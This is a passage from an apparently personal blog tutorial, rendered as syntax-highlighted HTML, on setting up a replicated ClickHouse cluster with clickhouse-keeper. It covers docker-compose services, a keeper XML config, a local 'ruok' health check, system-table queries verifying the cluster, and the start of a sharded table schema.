<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">lickhouse-blue-1</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    &lt;&lt;</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span>clickhouse-defaults</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    c</span><span style="color: light-dark(#22863A, #8DDB8C);">ontainer_name</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">lickhouse-blue-1</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    h</span><span style="color: light-dark(#22863A, #8DDB8C);">ostname</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">lickhouse-blue-1</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 9</span><span style="color: light-dark(#032F62, #96D0FF);">000:9000</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 8</span><span style="color: light-dark(#032F62, #96D0FF);">123:8123</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 9</span><span style="color: light-dark(#032F62, #96D0FF);">181:9181</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> t</span><span style="color: light-dark(#22863A, #8DDB8C);">ype</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> v</span><span style="color: light-dark(#032F62, #96D0FF);">olume</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        s</span><span style="color: light-dark(#22863A, #8DDB8C);">ource</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">h-blue-1-data</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        t</span><span style="color: light-dark(#22863A, #8DDB8C);">arget</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">var/lib/clickhouse</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">./configs/gen/clickhouse-blue-1:/etc/clickhouse-server/config.d/</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">lickhouse-blue-2</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    &lt;&lt;</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span>clickhouse-defaults</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    c</span><span style="color: light-dark(#22863A, #8DDB8C);">ontainer_name</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">lickhouse-blue-2</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    h</span><span style="color: light-dark(#22863A, #8DDB8C);">ostname</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">lickhouse-blue-2</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 9</span><span style="color: light-dark(#032F62, #96D0FF);">001:9000</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 8</span><span style="color: light-dark(#032F62, #96D0FF);">124:8123</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 9</span><span style="color: light-dark(#032F62, #96D0FF);">182:9181</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> t</span><span style="color: light-dark(#22863A, #8DDB8C);">ype</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> v</span><span style="color: light-dark(#032F62, #96D0FF);">olume</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        s</span><span style="color: light-dark(#22863A, #8DDB8C);">ource</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">h-blue-2-data</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        t</span><span style="color: light-dark(#22863A, #8DDB8C);">arget</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">var/lib/clickhouse</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">./configs/gen/clickhouse-blue-2:/etc/clickhouse-server/config.d/</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">lickhouse-green-1</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    &lt;&lt;</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span>clickhouse-defaults</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    c</span><span style="color: light-dark(#22863A, #8DDB8C);">ontainer_name</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">lickhouse-green-1</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    h</span><span style="color: light-dark(#22863A, #8DDB8C);">ostname</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">lickhouse-green-1</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 9</span><span style="color: light-dark(#032F62, #96D0FF);">002:9000</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 8</span><span style="color: light-dark(#032F62, #96D0FF);">125:8123</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 9</span><span style="color: light-dark(#032F62, #96D0FF);">183:9181</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> t</span><span style="color: light-dark(#22863A, #8DDB8C);">ype</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> v</span><span style="color: light-dark(#032F62, #96D0FF);">olume</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        s</span><span style="color: light-dark(#22863A, #8DDB8C);">ource</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">h-green-1-data</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        t</span><span style="color: light-dark(#22863A, #8DDB8C);">arget</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">var/lib/clickhouse</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">./configs/gen/clickhouse-green-1:/etc/clickhouse-server/config.d/</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">lickhouse-green-2</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    &lt;&lt;</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span>clickhouse-defaults</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    c</span><span style="color: light-dark(#22863A, #8DDB8C);">ontainer_name</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">lickhouse-green-2</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    h</span><span style="color: light-dark(#22863A, #8DDB8C);">ostname</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">lickhouse-green-2</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 9</span><span style="color: light-dark(#032F62, #96D0FF);">003:9000</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 8</span><span style="color: light-dark(#032F62, #96D0FF);">126:8123</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 9</span><span style="color: light-dark(#032F62, #96D0FF);">184:9181</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> t</span><span style="color: light-dark(#22863A, #8DDB8C);">ype</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> v</span><span style="color: light-dark(#032F62, #96D0FF);">olume</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        s</span><span style="color: light-dark(#22863A, #8DDB8C);">ource</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">h-green-2-data</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        t</span><span style="color: light-dark(#22863A, #8DDB8C);">arget</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">var/lib/clickhouse</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">./configs/gen/clickhouse-green-2:/etc/clickhouse-server/config.d/</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">h-blue-1-data</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">h-blue-2-data</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">h-green-1-data</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">h-green-2-data</span><span>:</span></span></code></pre>
<p><code>clickhouse-keeper</code> runs only if the <code>&lt;keeper_config&gt;</code> section is present inside the config. Here’s a sample config:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="xml"><span class="giallo-l"><span>&lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">clickhouse</span><span>&gt;</span></span>
<span class="giallo-l"><span>    &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">keeper_server</span><span>&gt;</span></span>
<span class="giallo-l"><span>        &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">tcp_port</span><span>&gt;</span><span>9181</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">tcp_port</span><span>&gt;</span></span>
<span class="giallo-l"><span>        &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">server_id</span><span>&gt;</span><span>${SERVER_ID}</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">server_id</span><span>&gt;</span></span>
<span class="giallo-l"><span>        &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">log_storage_path</span><span>&gt;</span><span>/var/lib/clickhouse/coordination/log</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">log_storage_path</span><span>&gt;</span></span>
<span class="giallo-l"><span>        &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">snapshot_storage_path</span><span>&gt;</span><span>/var/lib/clickhouse/coordination/snapshots</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">snapshot_storage_path</span><span>&gt;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>        &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">coordination_settings</span><span>&gt;</span></span>
<span class="giallo-l"><span>            &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">operation_timeout_ms</span><span>&gt;</span><span>10000</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">operation_timeout_ms</span><span>&gt;</span></span>
<span class="giallo-l"><span>            &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">session_timeout_ms</span><span>&gt;</span><span>30000</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">session_timeout_ms</span><span>&gt;</span></span>
<span class="giallo-l"><span>            &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">raft_logs_level</span><span>&gt;</span><span>trace</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">raft_logs_level</span><span>&gt;</span></span>
<span class="giallo-l"><span>        &lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">coordination_settings</span><span>&gt;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>        &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">raft_configuration</span><span>&gt;</span></span>
<span class="giallo-l"><span>            &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">server</span><span>&gt;</span></span>
<span class="giallo-l"><span>                &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">id</span><span>&gt;</span><span>1</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">id</span><span>&gt;</span></span>
<span class="giallo-l"><span>                &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">hostname</span><span>&gt;</span><span>clickhouse-blue-1</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">hostname</span><span>&gt;</span></span>
<span class="giallo-l"><span>                &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">port</span><span>&gt;</span><span>9234</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">port</span><span>&gt;</span></span>
<span class="giallo-l"><span>            &lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">server</span><span>&gt;</span></span>
<span class="giallo-l"><span>            &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">server</span><span>&gt;</span></span>
<span class="giallo-l"><span>                &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">id</span><span>&gt;</span><span>2</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">id</span><span>&gt;</span></span>
<span class="giallo-l"><span>                &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">hostname</span><span>&gt;</span><span>clickhouse-blue-2</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">hostname</span><span>&gt;</span></span>
<span class="giallo-l"><span>                &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">port</span><span>&gt;</span><span>9234</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">port</span><span>&gt;</span></span>
<span class="giallo-l"><span>            &lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">server</span><span>&gt;</span></span>
<span class="giallo-l"><span>            &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">server</span><span>&gt;</span></span>
<span class="giallo-l"><span>                &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">id</span><span>&gt;</span><span>3</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">id</span><span>&gt;</span></span>
<span class="giallo-l"><span>                &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">hostname</span><span>&gt;</span><span>clickhouse-green-1</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">hostname</span><span>&gt;</span></span>
<span class="giallo-l"><span>                &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">port</span><span>&gt;</span><span>9234</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">port</span><span>&gt;</span></span>
<span class="giallo-l"><span>            &lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">server</span><span>&gt;</span></span>
<span class="giallo-l"><span>        &lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">raft_configuration</span><span>&gt;</span></span>
<span class="giallo-l"><span>    &lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">keeper_server</span><span>&gt;</span></span>
<span class="giallo-l"><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">clickhouse</span><span>&gt;</span></span></code></pre>
<p>There are some other configs required for Clickhouse to discover other nodes and enable replication. You can find a working example in this <a rel="external" href="https://github.com/mr-karan/clickhouse-keeper-example">repo</a>.</p>
<h2 id="verifying-cluster-state">Verifying Cluster State<a class="zola-anchor" href="#verifying-cluster-state" aria-label="Anchor link for: verifying-cluster-state">#</a></h2>
<p>Once the containers are configured and running, we can verify if the replication is working as intended:</p>
<p>Let’s first check if the <code>keeper</code> daemon is running by:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">echo</span><span style="color: light-dark(#032F62, #96D0FF);"> ruok</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> nc</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 127.0.0.1</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 9181</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">imok</span></span></code></pre>
<p><code>ruok</code> is a part of <a rel="external" href="https://clickhouse.com/docs/en/operations/clickhouse-keeper/#four-letter-word-commands">Four Letter Commands</a> that are mostly used to diagnose Keeper’s client/server.</p>
<p>To ensure that <code>clickhouse-server</code> is aware of the <code>keeper</code> cluster, we can query the <code>system.zookeeper</code> table:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span><span style="color: light-dark(#D73A49, #F47067);"> *</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#005CC5, #6CB6FF);"> system</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">zookeeper</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">WHERE</span><span style="color: light-dark(#D73A49, #F47067);"> path</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span>FORMAT Vertical</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>Query id: 287d3c2d</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>b93f</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4d48</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>b335</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>6df2f89a8ab3</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">Row</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span>:</span></span>
<span class="giallo-l"><span>──────</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">name</span><span>:           clickhouse</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">value</span><span>:          </span></span>
<span class="giallo-l"><span>czxid:          </span><span style="color: light-dark(#005CC5, #6CB6FF);">3</span></span>
<span class="giallo-l"><span>mzxid:          </span><span style="color: light-dark(#005CC5, #6CB6FF);">3</span></span>
<span class="giallo-l"><span>ctime:          </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">11</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">05</span></span>
<span class="giallo-l"><span>mtime:          </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">11</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">05</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">version</span><span>:        </span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span></span>
<span class="giallo-l"><span>cversion:       </span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span></span>
<span class="giallo-l"><span>aversion:       </span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span></span>
<span class="giallo-l"><span>ephemeralOwner: </span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span></span>
<span class="giallo-l"><span>dataLength:     </span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span></span>
<span class="giallo-l"><span>numChildren:    </span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span></span>
<span class="giallo-l"><span>pzxid:          </span><span style="color: light-dark(#005CC5, #6CB6FF);">4</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">path</span><span>:           </span><span style="color: light-dark(#D73A49, #F47067);">/</span></span></code></pre>
<p>If you don’t see any results in the <code>system.zookeeper</code> table, then re-check if <code>zookeeper</code> section is present inside the config. This config tells ClickHouse how to discover keeper nodes.</p>
<p>We can also see if our cluster is configured correctly with:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span></span>
<span class="giallo-l"><span>    host_name,</span></span>
<span class="giallo-l"><span>    host_address,</span></span>
<span class="giallo-l"><span>    replica_num</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#005CC5, #6CB6FF);"> system</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">clusters</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">WHERE</span><span> cluster </span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">events</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>Query id: a4bacfa1</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>d3aa</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>482f</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>b8b2</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>30b05442a173</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>┌─host_name──────────┬─host_address─┬─replica_num─┐</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>blue</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>  │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">172</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">19</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">5</span><span>   │           </span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> │</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>blue</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span>  │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">172</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">19</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">3</span><span>   │           </span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span> │</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>green</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">172</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">19</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">4</span><span>   │           </span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> │</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>green</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">172</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">19</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span>   │           </span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span> │</span></span>
<span class="giallo-l"><span>└────────────────────┴──────────────┴─────────────┘</span></span></code></pre>
<p>(Here <code>events</code> is our cluster name specified in the <code>remote_servers</code> section of the config.)</p>
<h2 id="inserting-sample-data">Inserting Sample Data<a class="zola-anchor" href="#inserting-sample-data" aria-label="Anchor link for: inserting-sample-data">#</a></h2>
<p>Let’s create a DB and add some data to the DB. We need to ensure that our data is split across shards and we can query all shards using a central <em>view</em>.</p>
<h3 id="cluster-schema">Cluster Schema<a class="zola-anchor" href="#cluster-schema" aria-label="Anchor link for: cluster-schema">#</a></h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">CREATE</span><span style="color: light-dark(#D73A49, #F47067);"> DATABASE</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> app</span><span style="color: light-dark(#D73A49, #F47067);"> ON</span><span> CLUSTER </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">events</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">CREATE</span><span style="color: light-dark(#D73A49, #F47067);"> TABLE</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> app</span><span>.events_local </span><span style="color: light-dark(#D73A49, #F47067);">ON</span><span> CLUSTER </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">{cluster}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span> (</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    time</span><span style="color: light-dark(#D73A49, #F47067);"> DateTime</span><span>,</span></span>
<span class="giallo-l"><span>    event_id  Int32,</span></span>
<span class="giallo-l"><span>    uuid UUID</span></span>
<span class="giallo-l"><span>)</span></span>
